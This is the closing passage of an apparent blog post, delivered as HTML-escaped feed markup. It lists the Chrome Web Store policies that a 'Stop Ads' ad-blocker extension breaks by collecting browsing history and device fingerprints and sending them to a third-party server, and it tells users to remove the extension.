&lt;h2 id=&quot;chrome-web-store-policy-violations&quot;&gt;Chrome Web Store Policy Violations &lt;a class=&quot;direct-link&quot; href=&quot;#chrome-web-store-policy-violations&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Based on the evidence from the code and infrastructure, this extension violates several major Chrome Web Store developer rules:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Lying About Data Collection:&lt;/strong&gt; The store listing claims the developer &lt;em&gt;&amp;quot;does not collect or use your data.&amp;quot;&lt;/em&gt; In reality, it harvests browsing history, hardware parameters, and canvas fingerprints.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grabbing Unnecessary Data:&lt;/strong&gt; An ad-blocker only needs request interception. Scraping open tabs at install and tracking navigation history is completely unnecessary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Exfiltration:&lt;/strong&gt; Secretly sending your browsing history and device fingerprint to a third-party server is classic spyware behavior.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary &lt;a class=&quot;direct-link&quot; href=&quot;#summary&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &amp;quot;Stop Ads&amp;quot; extension is basically spyware wrapped in an ad-blocker&#39;s skin. It uses search ads to trick you into installing it, promises it won&#39;t track you, and then immediately starts harvesting your data. If you have this extension installed, delete it immediately from &lt;code&gt;chrome://extensions/&lt;/code&gt; and clear your cookies.&lt;/p&gt;

		</content>
	</entry>
</feed>
